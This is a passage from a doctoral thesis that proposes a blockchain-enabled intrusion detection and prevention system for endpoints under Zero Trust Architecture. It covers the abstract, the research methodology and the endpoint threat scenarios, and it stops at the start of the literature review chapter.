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Abstract  

With the increasing adoption of cloud computing and remote working, traditional 
perimeter-based security models are no longer sufficient to protect organizations' digital 
assets. The need for a more robust security framework led to the emergence of Zero Trust 
Architecture (ZTA), which challenges the notion of inherent trust and emphasizes the 
importance of verifying endpoints, users, and applications. However, within ZTA, the already 
authenticated and authorized communication channel on an endpoint poses a critical 
vulnerability, making it the Achilles' heel of the architecture [1]. Once compromised, even 
with valid credentials and authorized access, an endpoint can become a gateway for attackers 
to move laterally and access sensitive resources. Addressing the vulnerability of endpoints 
within ZTA is crucial to bolster overall security. By mitigating the risks associated with 
compromised endpoints, organizations can prevent unauthorized access, privilege escalation, 
and potential data breaches.  

Traditional security measures, such as firewalls, antivirus technologies, and Intrusion 
Detection and Prevention Systems (IDS/IPS), have become less effective in the face of evolving 
threats and complex network infrastructures. Perimeter-based security models are gradually 
being replaced by ZTA, which focuses on identity-based perimeters and continuous 
verification. To enhance endpoint security within ZTA, this research introduces the 
Blockchain-enabled Intrusion Detection and Prevention System (BIDPS). By integrating 
blockchain technology, the BIDPS aims to detect and prevent attacker techniques at an early 
stage before lateral movement occurs. Furthermore, the BIDPS shifts the trust from 
compromised endpoints to the immutable and transparent nature of the blockchain, creating 
an explicit system of trust. 

Through a systematic design and development methodology, a prototype of the BIDPS was 
created. Extensive testing against various Advanced Persistent Threat (APT) attacks 
demonstrated the system's high success rate in defending against such attacks. Additionally, 
novel strategies and performance-enhancing mechanisms were implemented to improve the 
effectiveness and efficiency of the BIDPS [2]. The BIDPS was evaluated through a combination 
of observational analysis and A/B testing methodologies. The evaluation confirmed the 
BIDPS's effectiveness in detecting and preventing malicious activities, as well as its improved 
performance compared to traditional security measures. The research outcomes validate the 
viability of the BIDPS as a solution to enhance endpoint security within ZTA. Conclusively, the 
integration of blockchain technology into ZTA, as exemplified by the BIDPS, offers a promising 
approach to mitigate the vulnerability of endpoints and reinforce the security of modern IT 
environments.  
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Introduction and Context of Research 
 

With the revolution of cloud computing, most businesses’ resources and data are no longer 
stored on premises. Moreover, the recent COVID-19 pandemic has significantly changed work 
patterns, as most employees and businesses had to switch to working from home. 
Homeworking (and remote working) open organisations up to new and severe security risks, 
as many “untrained” employees connect to their work Information Technology (IT) systems 
with their own devices. Cloud computing and remote working are examples of why businesses 
must expand their digital security perimeter and adapt to the contemporary trends. 

In a traditional perimeter-based security model, the organisation’s resources, and assets, 
inside the perimeter, are assumed to be benign and trusted. Perimeters are usually protected 
by security measures such as firewalls or intrusion detection systems. This model seems to be 
less effective in the world of cloud computing and remote working, as indicated by several 
cyber-attacks (e.g., [3] [4] [5] [6] [7]) targeting employees working remotely.   

Trust is the fundamental principle a traditional perimeter-based security model relies on. 
The employees’ or collaborators’ devices and organisation assets (i.e., endpoints) are typically 
trusted by default regardless of their condition. If attackers can take control over any of these 
endpoints, the perimeter is compromised and further access to information and data can be 
potentially achieved via lateral movement.  

Firewalls, antivirus technologies, Intrusion Detection and Prevention Systems (IDS/IPS), 
and Web Application Firewalls (WAFs), in other words, the big stone walls and armoured front 
doors, are no longer enough to keep modern IT and Operational Technology (OT) 
environments safe [8]. Perimeter-based security was the main concept adopted by multiple 
companies, especially when their data resided in on-premises data centres. The traditional 
defensive model founded on internal and external disparity is becoming obsolete [9], while 
at the same time the threat landscape is dramatically evolving [10], ultimately leading to the 
fall of perimeter-based security architecture. 

To cope with today’s complex network infrastructures and the current and advancing 
threat landscape, a new security architecture is needed. ZTA has emerged by establishing a 
borderless digital identity-based perimeter, where data is at the epicentre of the security 
architecture and the breach mindset dominates the threat model leading the access control 
landscape, operations, hosting environments, endpoints, and inter-connecting 
infrastructures. ZTA fosters a new security architecture in which, by default, any device, 
system, user, or application should not be inherently trusted based on its location in a 
network. On the contrary, trust shall always be earned and verified regardless of the location. 
Nevertheless, this does not necessary mean that in the ZTA context trust is eliminated but 
should be minimised until proven otherwise via the ZTA tenets and core components. 

With traditional perimeter-based defences, determined attackers can still bypass ZTA 
security health checks if they can establish an authenticated and authorised foothold on the 
endpoint.  For instance, a potential malware in the operating system kernel can tamper with 
the security checks conducted in the context of a ZTA. This eventually results in bypassing 
fundamental controls implemented in a ZTA, which would allow attackers to perform several 
user and device centric malicious activities besides lateral movement. Therefore, an effective 
intrusion detection approach is required to address the endpoints’ vulnerability, which can 
be seen as the Achilles heel of ZTAs. 
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Structure of the thesis 
 
The thesis starts with an introduction, followed by this section to help the reader navigate 
and understand this thesis better. In continuation, there are 7 chapters. Chapter 1 discusses 
the methodologies and methods used in this research, both wholistically and for each phase 
individually. Chapters 2 to 5 are the building blocks of this thesis where we discuss and 
present in detail each phase from analysis up to evaluation separately. In chapter 6 we discuss 
the findings of this research. Chapter 7 provides conclusions and future directions. 
 

• Introduction and context of research provides the background of the inevitable 
technological revolution from perimeter-based security architectures to borderless 
networks and thereby the need for new security defences. Describes the context of 
ZTA and introduces the notion of trust as a fundamental element. Subsequently, the 
motivation of this research is highlighted through an identified gap in ZTA, being its 
Achilles heel.  
 

• Structure of this thesis outlines the structure of the thesis with the goal to help the 
reader navigate and understand this thesis. 

 
• Chapter 1 discusses the overarching methodology and the methods used to conduct 

this research. Starts with high-level overview of the methodology, as well as a 
summary of the specific methods and techniques used during each of the four phases.    

 
• Chapter 2 explores the dynamics between ZTA, DLTs and blockchain. We first review 

the core tenets, capabilities, and requirements of zero trust. Secondly, we categorise 
existing real-world zero trust implementations and discuss their strengths and 
weaknesses. Thirdly, we explore the potential of blockchain in developing and 
improving Distributed Collaborative Intrusion Detection Systems (DCIDSs) that can 
alleviate the Achilles heel of ZTA (i.e., endpoints’ vulnerability). Finally, we discuss the 
open questions and challenges, as well as highlight potential solutions and research 
directions to ZTA and distributed blockchain-based IDS and answers our first research 
question RQ1. 
 

• Chapter 3 initiates the design phase and core concept of the research. We consider all 
the inputs from the analysis phase in Chapter 1, to form further research questions, 
namely RQ2, and RQ3. Furthermore, the analysis phase highlighted certain design 
principles that should be met for the potential solution to be both effective and 
efficient, thereby we lay out the design principles and perform additional research. In 
continuation, the core concepts of a blockchain-enabled intrusion detection and 
prevention system are being presented, alongside with all the prerequisites. We 
conclude Chapter 3 with solid input and clear directions for the next phase, Chapter 
development and implementation.  
 

• Chapter 4 describes the development and implementation phase, which consists of 
four core sections. The first section describes the ZTA implementation, second is the 
hash-based blockchain-enabled application whitelisting that is used as input to 
develop and implement the third section, the blockchain network and the fourth 
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section, the actual BIDPS application. Each of the four sections presents in detail our 
development and implementation process for the four pillars of the BIDPS. 
 

• Chapter 5 is devoted to the evaluation of the BIDPS’s detection and prevention 
effectiveness, as well as its performance evaluation. Thus, the chapter is divided in 
two parts, the effectiveness evaluation of the BIDPS, followed by conclusions. The 
performance evaluation of the BIDPS, directly followed by the relevant conclusions. 
Finally, we provide answers to RQ4, RQ5, and RQ6. 
 

• Chapter 6 provides a summary and discussion grounded on each phase of this 
research.  
 

• Chapter 7 draws the conclusions and highlights potential future directions. 
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Chapter 1: Methodology and methods 
  

 
1.1 Introduction  

 
The overarching research methodology used for this research is the Design and 

Development Research (DDR) methodology. It is a research approach developed by Sage [2] 
as a way of conducting research that is focused on the design, development, and evaluation 
of interventions, programs, and systems. It emphasizes on the importance of conducting 
research that is both rigorous and relevant to practitioners. It is also particularly well-suited 
for product development, as it seeks to understand the needs and constraints of users, 
stakeholders, and the broader context within which products will be used. 

DDR is a flexible approach that can be applied to various settings, such as education, 
healthcare, aviation, maritime, finance and more [2]. It allows researchers to take a direct 
approach to solving problems and improving systems, and it emphasizes the importance of 
testing and evaluating interventions in real-world settings to ensure that they are effective 
and have the desired impact. DDR is an iterative process which allowed the researcher to 
return to previous phases as needed. For example, after evaluating an intervention, the 
researcher returned to the design phase to make revisions before conducting another round 
of development and evaluation. At the same time, we incorporated several other methods 
that were well suited for each individual phase of the DDR, that we describe in detail in the 
next section.  
 
1.2 Methodology  
 

The DDR methodology is a multi-disciplinary and comprehensive approach, which allowed 
a thorough and complete understanding of the problem. Its iterative nature encouraged 
testing and refinement of ideas, and it promoted active engagement with stakeholders 
throughout the research process. It is a good fit for product development as it provides a 
framework that helps the development of relevant, practical, and successful products [2]. 
DDR is an iterative, cyclical process that involves four main phases, as seen in Figure 1. 
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Figure 1 - Methodology overview. 

 
1. Phase 1 - Exploration and Analysis: we conducted a thorough exploration and analysis 

of the problem or need that the intervention and the system is intended to address. 
This included reviewing existing literature, conducting fieldwork and data gathering. 

• Research Question 1: Are there common attributes between ZTA, DLTs and 
blockchain? 

 
2. Phase 2 - Design: we used the information gathered in the exploration and analysis 

phase to design the BIDPS. This involved creating detailed specifications, prototype 
prerequisites and design principles. 

• Research Question 2: How can we solve the highlighted Achilles Heel of 
ZTA? Namely, will the proposed BIDPS detect and prevent attacks against 
endpoints prior the 10th stage of MITRE’s ATT&CK threat knowledge base, 
thus proving effectiveness? 

• Research Question 3: How can we augment ZTA on endpoints using DLTs 
and blockchain?  

 
3. Phase 3 - Development and Implementation: we developed and implemented a 

prototype BIDPS based on the design. This included coding, pilot testing, and other 
forms of implementation. 

4. Phase 4 - Evaluation:  we evaluated the effectiveness and the performance of the 
BIDPS by collecting data and analysing it to determine whether the objectives were 
met and to identify areas for improvement. 
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• Research Question 4: What happens when hundreds of users (or even 
thousands in the case of a notional bank) try to execute an application and 
thereby start a ledger-query transaction all at once? 

• Research Question 5: How can we achieve optimal resource utilization that 
will enhance performance while supporting the same number of users 
(remote employees) and applications? 

• Research Question 6: How can we achieve the maximum TPS given the lab 
resources, to minimize waiting time while preserving the integrity of data 
on-chain with the same user group and applications? 

 
 
DDR is particularly relevant and important in the context of our research for several reasons. 
 

• Systematic problem identification: DDR provided a structured framework for 
identifying and analysing the problem at hand. In our case it helped in systematically 
identify the vulnerability of endpoints within the Zero Trust Architecture (ZTA) and 
recognize the need for an effective intrusion detection and prevention solution. 

• Rigorous needs analysis: DDR emphasizes the thorough analysis of needs and 
requirements related to the problem. It enabled us to delve into the specific 
requirements and challenges associated with building an intrusion detection and 
prevention system within the ZTA. This analysis was crucial for designing a solution 
that effectively addresses the identified problem. 

• Holistic solution design: DDR guided the design phase to conceptualize and outline 
the key principles and functionalities of the BIDPS. It helped in concluding various 
aspects such as system architecture, integration with the ZTA principles, scalability, 
and usability. This comprehensive approach ensured that the BIDPS was well-designed 
and aligned with the objectives of the research. 

• Iterative development and refinement: DDR supported an iterative development 
process, allowing us to build and refine the BIDPS prototype in a controlled manner. 
We continuously evaluated and improved the prototype based on feedback and 
insights gained throughout the development process. This iterative approach greatly 
increased the chances of building an effective and efficient system. 

• Effectiveness and performance evaluation: DDR emphasized in the evaluation of both 
performance and effectiveness. This is crucial in determining the viability and 
usefulness of the BIDPS prototype. Through the evaluation phase, we measured the 
system's performance and detection capabilities within the ZTA.  

• Research contribution: By employing the DDR methodology, we contributed to the 
field of intrusion detection and prevention within the ZTA in a systematic and rigorous 
manner. Following a structured research methodology strengthened the credibility 
and validity of our research findings and helped in establishing our research as a 
reliable reference for future work in the domain. 

 
In similar context other researchers have used several methodologies such as design 

science research (DSR), user centred design (UCD), and participatory design (PD). DSR is a 
broader research methodology that encompasses various domains, including information 
systems, and aims to generate new knowledge through the creation of innovative artifacts 
[11]. DDR, however, is a specific methodology focused on the design and development of 
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information systems, providing a structured framework for research and development 
activities in this context. DDR incorporates scientific research principles into the design and 
development process of information systems, emphasizing iterative refinement and 
evaluation.  

Participatory Design is an approach that emphasizes active stakeholder involvement and 
collaboration in the design process to ensure user-centred outcomes. It focuses on 
empowering users and incorporating their insights. DDR, on the other hand, is a research 
methodology that incorporates design and development activities to create functional 
systems or prototypes, with a primary focus on addressing research problems. While both 
approaches involve stakeholders, participatory design places a stronger emphasis on 
collaboration and user involvement, therefore not the best fit for our research [12].  

User-centred design is an approach that prioritizes the needs, preferences, and usability of 
the end-users throughout the process. It focuses on understanding users' goals, tasks, and 
contexts of use to create intuitive and user-friendly designs. The primary goal of UCD is to 
optimize the user experience and satisfaction by creating products or systems that align with 
user expectations and requirements. While both DDR and UCD emphasize the importance of 
understanding user needs and preferences, they differ in their focus and objectives. primarily 
focuses on designing products, systems, or interfaces that optimize the user experience and 
meet user needs, as opposed to DDR, which combines research principles with design and 
development activities to create functional prototypes or systems [13]. 
 
 
1.3 Rigour and Trustworthiness 
 

The rigour and trustworthiness of this thesis are essential elements in ensuring the validity 
and reliability of the research findings. Rigour refers to the degree to which the research 
design and methods used in the study are sound and able to generate valid and reliable data. 
Trustworthiness, on the other hand, refers to the degree to which the results of the study can 
be trusted and the extent to which the research process and findings can be replicated by 
other researchers. In this section we discuss the strategies used to ensure rigour and 
trustworthiness in the present research. In the next section 1.4 Methods, we emphasize on 
the methods employed per phase to achieve rigour and trustworthiness. 

Ensuring rigour is crucial to establish the credibility and trustworthiness of the conclusions 
and findings. One of the most important strategies employed to ensure rigour in this research, 
is the use of a clearly defined research design and methodology. This involves specifying the 
research questions, developing a plan for data collection and analysis, and selected 
appropriate methods for data collection and analysis. The researcher together with the 
supervisory team ensured that the methods used are appropriate for the research questions 
and can generate valid and reliable data. A thorough literature review was also part of 
ensuring rigour, as it provided the necessary background and context for the research to 
identify gaps, and any potential sources of bias or error. 

To ensure trustworthiness of the present research, several strategies were employed. One 
of the key strategies was to ensure that the study was conducted in a transparent manner, by 
keeping detailed records of the research process and always making these records available 
for review. Additionally, the study employed a convergence triangulation type, where data 
was collected using multiple methods, to ensure that the findings of the study were robust 
and dependable. 
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Trustworthiness is an important aspect of qualitative research [14], as it ensures that the 
findings of this research can be trusted and that the research process and results can be 
replicated by other researchers. Ensuring the validity and reliability of this research is a key 
element, thereby to establish trustworthiness we utilized several strategies, such as member 
checking, triangulation, and reflexivity. 

Member checking is a strategy that involves reviewing the findings of the research [12] 
with the participants to ensure that their perspectives and experiences have been accurately 
represented. In the context of this research the members were the direct supervisors and 
team members, as well as professionals and experts in the field. This helped to ensure that 
the findings of the study are valid and dependable, as the participants provided continuous 
feedback on the accuracy of the study's conclusions. 

Triangulation is a strategy that involves collecting data from multiple sources, such as 
diverse types of participants or different methods of data collection, to ensure that the 
findings of the study are robust and dependable [12]. By collecting data from multiple 
sources, researcher and supervisory team cross-checked their findings to ensure that they are 
consistent and accurate. This eventually helped to increase the trustworthiness of the study, 
as it provided multiple perspectives towards answering the research questions. 

Reflexivity is a strategy to self-reflecting on the researcher's own biases, assumptions, and 
perspectives and how they may have influenced the research process [12]. Researcher is 
aware of the potential for bias in their research and took steps to minimize its impact.  This 
was achieved primarily through self-reflection, peer debriefing, and audit trails with the 
supervisory team and a group of experts in the field. Ultimately reflexivity helped to ensure 
that the findings of the study are duly influenced by the researcher's own perspectives and 
biases. Nonetheless, self-reflection on this research is highly likely to continue for much 
longer, as the process was highly educating, productive and provided for multiple topics and 
points for improvement for the researcher. 

The researcher and the team did the utmost to deem this research transparent. In 
qualitative research, this means that the researcher kept detailed records of the research 
process, including data collection, data analysis, and interpretation. This information was 
made available for review by the supervisory team as well as other researchers who were 
direct colleagues of the researcher, to ensure that the study can be replicated. Additionally, 
detailed descriptions of methods, procedures, and sampling techniques are provided in the 
following sections and chapters in this thesis, to enable others to evaluate the quality of the 
study. 

To summarize, trustworthiness is a critical aspect of qualitative research and thereby was 
established through strategies such as team member or professional peers checking, 
triangulation, reflexivity, and transparency. These strategies helped to ensure that the 
findings of the study are valid, dependable and can be replicated by other researchers. It is 
important to note that trustworthiness should not be seen as a one-time achievement but 
rather as an ongoing process that begun at the planning stage of this research and continued 
throughout the research and data analysis stages. It is worth noting also, that achieving 
trustworthiness in qualitative research may not be as straightforward as in quantitative 
research, but it is still a critical aspect that is needed for the conclusions and findings of this 
research. Ultimately the trustworthiness was evaluated by peers and members of top tier 
venues, as our work was published in reputable journals. Finally, the research community, 
peers and other scholars will ultimately decide if the study is trustworthy through the 
publications made during this journey. 
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1.4 Methods 
 

The researcher employed the DDR methodology as previously discussed. DDR systemically 
identifies a problem; analyses the needs and requirements of the problem; designs, develops, 
and implements an intervention or a solution and then evaluates the solution’s practicality 
and effectiveness [2]. However, within each individual phase we employed several other 
methods (1) to help us maximize the benefits per phase, and (2) to tailor each phase 
specifically to our problem and focus on potential solutions.  
 

 
Figure 2 - Detailed methodology flow. 

A detailed explanation of each of the four phases shown in Figure 2 is provided below. 
Namely, we begin with (from left to right) Phase 1 – analysis and describe all the activities in 
section 1.4.1 Phase 1 - Analysis. Then we explain Phase 2 – Design in the relevant section 1.4.2 
Phase 2 - Design. Next, in section 1.4.3 - Development and Implementation we detail the 
development and implementation phase. Lastly, in section 1.4.4 Phase 4 – Evaluation, we 
explain both the effectiveness and performance evaluation.  
 
 
1.4.1 Phase 1 – Analysis 
 

The analysis phase started with a snowballing systematic literature review (SLR) [13], on 
top of the standard steps included in the DDR methodology, to shed light on the current 
developments, strengths, and limitations of ZTA, Distributed Collaborative Intrusion 
Detection Systems (DCIDS) and blockchain & DLT technologies. This helped to identify and 
shape our research questions further. SLR is a specific method used to identify relevant 
literature for a systematic review on complex and emerging fields, such as ZTA, DLTs and 
Blockchain. This technique was used because the initial search results were limited, and the 
researcher seek to expand the search to include more articles. The name "snowballing" comes 
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from the idea that the search starts with a small number of articles and gradually "snowballs" 
to include more articles as the search progresses. 

The process of snowballing begun with an initial search of the literature using keywords, 
databases, and inclusion criteria. The articles retrieved from the initial search were examined 
for additional relevant articles that might have not been captured in the initial search. The 
reference lists of these articles are checked, and any additional articles that meet the inclusion 
criteria are included in the review. This process is repeated, with each new article adding to 
the pool of included articles, until the search reaches a point of saturation, meaning that new 
articles are no longer being identified. 

This method proved especially useful due to the researcher studying and exploring a niche 
and emerging field where the research base was exceedingly small, specifically on the topic 
of DLTs and blockchain. Thereby, the researcher broadened the scope of the search to include 
related fields such as blockchain and DLT application in internet of things. Snowballing was 
also used to identify articles that might have not been indexed by the major databases, such 
as grey literature [14]. It is important to note however, that since Snowballing SLR is primarily 
used when the initial search is not exhaustive, the researcher and supervisors were aware 
that this method might have introduced bias to the search, as the initial search might not 
include articles that do not cite the articles found in the first search, and the search might 
miss important articles. 

To effectively manage this limitation, we combined and applied elements of qualitative 
research methodology. Qualitative research methodology is a type of research that aims to 
understand and explain the meanings, experiences, and perspectives of individuals and 
groups of people. Qualitative research is a great match considering the context of our 
research since it is typically used to study complex and multi-faceted phenomena that cannot 
be easily quantified or measured using quantitative methods [11]. It focuses on 
understanding the rich, detailed, and complex data and information that emerges from 
scoped topics. 

That said, we collected data through observations and document analysis and interpreted 
the data to understand the different meanings, and perspectives. More specifically, we used 
qualitative research methodology to minimize bias that might be introduced through SLR, and 
because it is very well suited to study the convergence of topics. Namely, this approach was 
particularly useful when studying complex and multi-faceted issues, such as the convergence 
of ZTA, DLTs and blockchain.  

During the analysis phase, a significant finding was the identification of the already 
authenticated and authorized communication channel on an endpoint (user device) within a 
network as a critical vulnerability and thereby the Achilles' heel of a Zero Trust Architecture 
(ZTA). This observation shed light on a fundamental problem in the context of ZTA 
implementation. 

The analysis revealed that despite the rigorous authentication and authorization processes 
inherent in a ZTA, once an endpoint is compromised, it can pose a significant threat to the 
overall security of the architecture. This realization highlighted the need to focus on endpoint 
security as a primary concern within the ZTA framework. 

The compromised endpoint, even with valid credentials and authorized access, can be 
leveraged by attackers to traverse the network, elevate privileges, and potentially gain access 
to sensitive resources. This vulnerability can be exploited through various means, including 
the use of compromised credentials, malware infections, or insider threats originating from 
the compromised endpoint. 
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1.4.2 Phase 2 - Design 
 

To analyse the collected data and leverage every input from the exploration and analysis 
phase, we used the empirical research method. Empirical research methodology is a research 
approach that relies on the collection and analysis of data to generate knowledge and 
understanding about a phenomenon or problem, in this research context, the ZTA endpoint 
problem. It is based on the principle that knowledge and understanding can be gained by 
observing and studying real-world events and phenomena [15]. 

One of the research outputs utilizing empirical research in this phase, is that it allows for 
the testing of hypothesis and the generation of new knowledge and understanding through 
the collection and analysis of data. It is particularly suitable for studying complex and multi-
faceted phenomena and for understanding cause-and-effect relationships. Thereby, it 
provided the design principles as well as the pre-requisites towards the development and 
implementation phase and set the stage for a successful prototype implementation. 
Moreover, the observations and the collection of data from the real-world ZTA mappings to 
high-level models, helped to increase the external validity of our research. Meaning that the 
findings are more generalizable to the population of interest and applicable to a wide range 
of blockchain technologies. Lastly, leveraging the principles of empirical research we 
identified patterns and trends that would be difficult to detect using other methods, such as 
the design principles described in Chapter 3, the design phase. 

The design phase of this research is particularly well-suited for empirical research, as it 
allowed for the testing of hypotheses and the identification of patterns and relationships 
within the data. Empirical research was used to also understand the underlying factors that 
contribute to the ZTA endpoint problem, and to identify potential solutions or interventions. 
As a result, we were able to gain a deeper understanding of the problem and inputs were 
used to guide the development of the proposed BIDPS prototype. 

One of the main benefits noted during the design phase, was that empirical research 
allowed for rapid prototyping and iteration, which means that the BIDPS prototype was 
developed, assessed, and refined quickly and efficiently. This iterative process led to a more 
effective and user-cantered prototype. Furthermore, it helped us to identify potential issues 
and constraints early in the design process, which eventually led to saving time and effort 
overall, e.g., completely changing platforms that form the building blocks for the BIDPS 
prototype.  

Finally, by following empirical research in the design phase we managed to gather data 
from users and their systems, which helped to increase the external validity of the prototype 
even further. Meaning that it is more likely to be successful and effective when it is used by 
the intended users in the real-world. 
 
1.4.3 Phase 3 – Development and Implementation  
 

The principles of DDR are a perfect match with the prototyping methodology during the 
development and implementation phase, thereby it was used throughout this phase. 
Prototyping is a process that involves creating a working model or simulation of a system to 
assess and evaluate its functionality, usability, and feasibility. This methodology is typically 
used during the development and implementation phase of a project, to help identify and 
resolve issues early on and to ensure that the final product meets the users' needs and 
requirements [16]. Although there are several types of prototyping methodologies, each with 
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its own strengths and best-use cases, we used the medium-fidelity prototyping methodology 
due to hardware limitations. An overview of the available prototyping methodologies 
however is the following [16]: 

 
• Low-fidelity prototyping: This type of prototyping uses simple and quick techniques to 

create a basic representation of the product or service. It is useful to quickly assess 
early concepts and get user feedback. 

• Medium-fidelity prototyping: This type of prototyping uses more detailed and 
complex techniques to create a more realistic representation of the product or 
service. It is useful to assess specific features and user interface design. 

• High-fidelity prototyping: This type of prototyping uses the most detailed and complex 
techniques to create an almost definitive version of the product or service. It is useful 
to assess overall product usability and to get user feedback on the final product design. 
 

Medium-fidelity prototyping was used for early testing and evaluation of the BIDPS 
prototype, which helped to identify and resolve issues early on, and increase the chances of 
success of the final BIDPS. In addition, it enabled us to bring aspects of a user-centred design 
into this research and specifically into this phase, by thinking the overall user experience in 
the development process and gathering related feedback on the prototype. Thus, increased 
the chances that the final BIDPS to meet the users' needs and requirements. Prototyping 
additionally allows for incremental development and iteration, where the BIDPS can be 
modified, improved, and refined based on several groups of people feedback (e.g., 
supervisory team, professional peers, other scholars, critical peers in academia), which 
ultimate contribute and increase the chances of success of the BIDPS. Lastly, this method 
allowed for the testing of distinctive design options and features, thereby we concluded with 
high-level of confidence that the BIDPS prototype is the best possible version at the time of 
authoring this thesis. 
 
1.4.4 Phase 4 – Evaluation 
 

For the evaluation phase we used again the principles of empirical method, however this 
time in the context of the BIDPS evaluation. This refers to the use of data and evidence from 
observations and experimentation to evaluate the effectiveness; when it comes to detection 
and prevention, and performance of the BIDPS. Empirical methods can be used to gather data 
on the usability, effectiveness, and user satisfaction of prototypes, as well as its performance 
in relation to a set of metrics or requirements, hence an exceptionally good match for this 
phase of our research. 

To evaluate the effectiveness of the BIDPS prototype, we employed user-system testing, 
and usability testing. These methods involve evaluating the BIDPS prototype with a sample of 
users and systems, with the aim to gather data on their interaction with the BIDPS. This data 
was used to identify issues with the prototype's design, usability, and effectiveness, as well 
as to identify areas for improvement. User-system testing was conducted in different 
fidelities, depending on the stage of the prototype development and the objectives of the 
test. For example, the first user-testing was conducted from the adversary’s perspective, 
while the second test involved the user experience angle.  

To evaluate the performance of the BIDPS prototype, we used the user-system testing 
method from the user’s angle, observation, and monitoring methods. In   
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Chapter 5: Evaluation Phase – Effectiveness and Performance Evaluation, we explain the 
differences of benchmarking and testing; and why we chose the latter over the former. 
Briefly, benchmarking involves comparing the prototype to similar existing systems and 
measuring its performance against established metrics or standards. Thereby, one could use 
this data to identify areas where the prototype outperforms or underperforms other systems, 
and to identify areas of improvement. However, this is novel work in the field and the 
definition of “similar systems” is not directly applicable in our case. Although we set a basis 
and define metrics, the best approach to evaluate performance was through testing, rather 
than comparison with similar systems. 

Testing is the process of running the BIDPS prototype in specific test scenarios and 
monitoring the system's performance in relation to a set of predefined metrics and 
requirements, such as response time, throughput, and error rate. This allowed the researcher 
and the supervisory team to identify any issues with the prototype's performance, identify 
areas of improvement, and even produce novel contributions. The strengths of using 
empirical methods in this context are that they allow for the gathering of data from real users 
and in real-world scenarios, which eventually increase the external validity of the findings, 
making them more generalizable to the population of interest towards a BIDPS. Additionally, 
the data gathered through these methods were quantified and analysed, which ultimately 
contributed towards the identification of patterns and trends that would be difficult to detect 
using other methods. 

 
1.5 The Endpoint Problem to ZTA 
 

The analysis phase highlighted the primary goal of ZTA, if properly implemented, is to 
perform a fine-grained identity-based access control [9] that can specifically prevent the 
increasingly severe risk of lateral movement. There are multiple access control types such as 
role-based and attribute-based access controls, however, ZTA performs access control on the 
identity of the user (i.e., identity-based access control). Moreover, the zero-trust approach 
primarily focuses on protecting assets, network/user accounts, workflows, and services rather 
than network segments. The location of the network (e.g., home, work, or a public place) is 
deemed irrelevant within the ZTA context and its relationship to the overall security posture 
of the resource. 

However, the above argument comes with a fundamental assumption that the core 
components of a ZTA should be able to contextualise user access requests before granting 
them access to enterprise resources. Namely, before a user is granted access to corporate 
resources, several conditions must be met, such as the operating system version, software 
patch levels, IP address or source/origin, the time of a request (e.g., is it between 09:00-
17:00?). Such information is of course subject to each corporate policy and the context. This 
approach can be effectively implemented if, for instance, we assume extremely locked-down 
devices, or fully managed devices like in BeyondCorp [21], where only corporate Google 
Chromebook devices are granted access, without support for the BYOD capability [21].   

It should be noted, nevertheless, that currently most enterprises run Windows as their 
core operating system [41], and may run a wide variety of legacy, outdated applications 
and/or middleware increasing their security risks. Determined attackers have previously 
demonstrated how the traditional perimeter-based defences can be bypassed, for example, 
with malware and phishing attacks, to gain a foothold in enterprise networks. Once a device 
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is compromised, the operating system (and the device that runs it) can no longer be trusted, 
since a potential malware in the operating system kernel can tamper with the ZTA security 
health checks, which are part of the context built by ZTA. This eventually results in bypassing 
the fundamental control implemented in a ZTA. 

As a result, enterprises that implement one of the current ZTA models might mistakenly 
trust user devices (or endpoints), as attackers are still able to compromise those devices, and 
thereafter, ride the already authenticated user’s session to perform several user and device 
centric malicious activities other than lateral movement. A good example is The Adversarial 
Tactics, Techniques, and Common Knowledge or MITRE ATT&CK, which is a guideline for 
classifying and describing cyberattacks and intrusions commonly used to compromise 
endpoints [42]. In case the compromised device belongs to an administrator, the inherent 
impact of such a scenario is of critical severity. Considering the discussion above, one could 
argue that ZTA relies on a mixture of health and security checks and context that can be 
eventually forged once an endpoint is compromised.  

During the analysis phase we identified at least two threat scenarios that are immediately 
applicable and can be referenced as examples why a mature ZTA goes beyond traditional 
perimeter-based security indeed, however, at the same time showcasing there is still room 
for improvement when it comes to detection time or preventive capabilities [1]. Literature 
showed that the problem to ZTA was highlighted by the National Security Agency (NSA) of the 
United States in their relevant report [6], as well as several other scholars [20], [21], [22], [23].  
Considering a mature ZTA and the wider field of security controls that are applied, most of 
the above-described adversaries’ attacks would be blocked. Nonetheless, some attacks would 
only be limited, while others would be allowed, as shown in Figure 3. More specifically, with 
our proposed BIDPS we aim to improve ZTA by augmenting its tenets and therefore solving 
the below two problems: 
 

• Remote exploitation or insider threats. 
Adversaries can compromise a user’s endpoint through Internet, utilizing exploit code 

targeting endpoint’s software. In many cases, exploit code is not even required as attackers 
have displayed their creative offensive mindset and social engineering capabilities, tricking 
the user directly to install malicious tools without knowing, therefore cracking the perimeter, 
and providing foothold to adversaries [93]. Same applies for cyber actors being already within 
the corporate network, having malicious intents. Common attacks are hijacking user’s 
credentials, perform network enumeration, privilege escalation on the endpoint, and, 
ultimately moving laterally through the network to compromise further resources and data 
while setting up persistent malicious communication channels.  
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Figure 3 - Remote exploitation and insider threat scenario within ZTA context [94]. 

• Compromised user credentials. 
If cyber adversaries have already established foothold on an authorised endpoint by 

installing malicious tools (e.g., malicious remote administration tools) they can simply follow 
the already authenticated and authorised communication channel all the way up to their level 
of authority according to ZT policy engine. Although this scenario would be limited by a 
mature ZTA and the relevant security controls, it is still applicable. In fact, compromised user 
credentials refer to situations where an attacker gains unauthorized access to a user's login 
credentials, such as usernames and passwords. This can happen through various means as 
observed during the analysis phase, including phishing attacks, keylogging malware, or 
credential leaks from data breaches. Incalculably important is the fact that such actions but 
also actions towards compromising user credentials, typically happen before lateral 
movement, and thereby the scenario may be limited but still applicable. 
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Chapter 2: Analysis phase - Intersection of ZTA, DLT and 
Blockchain  
 

 
2.1 Introduction 
 
In this chapter, we examine the intersection of ZTA, DLTs and blockchain. Specifically, if and 
how ZTA can be augmented onto endpoints using the potential of blockchain’s immutability 
fortifying the intrusion detection process to eliminate the problem highlighted in the 
introduction. As discussed in Chapter 1: Methodology and methods, and specifically in section 
1.4.1 Phase 1 – Analysis, we conducted a snowballing systematic literature review in the 
context of zero trust architecture, DLTs (Distributed Ledger Technologies), blockchain, and 
distributed collaborative intrusion detection. The full SLR process we followed is described 
below in steps:  

1. Defined research question: we started by clearly defining the research question 1, 
namely, (RQ1) Are there common attributes between ZTA, DLTs and blockchain? This 
question guided the literature review and helped identify the relevant studies. 

2. Initial keyword search: we performed an initial keyword search to identify relevant 
articles and papers. We used a combination of keywords related to the research topic. 
Specifically, "zero trust architecture," "DLTs," "blockchain," "distributed collaborative 
intrusion detection,", “distributed ledger technology”, “zero trust architecture gaps” 
and related terms. Next, we performed this search in the most relevant academic 
databases. 

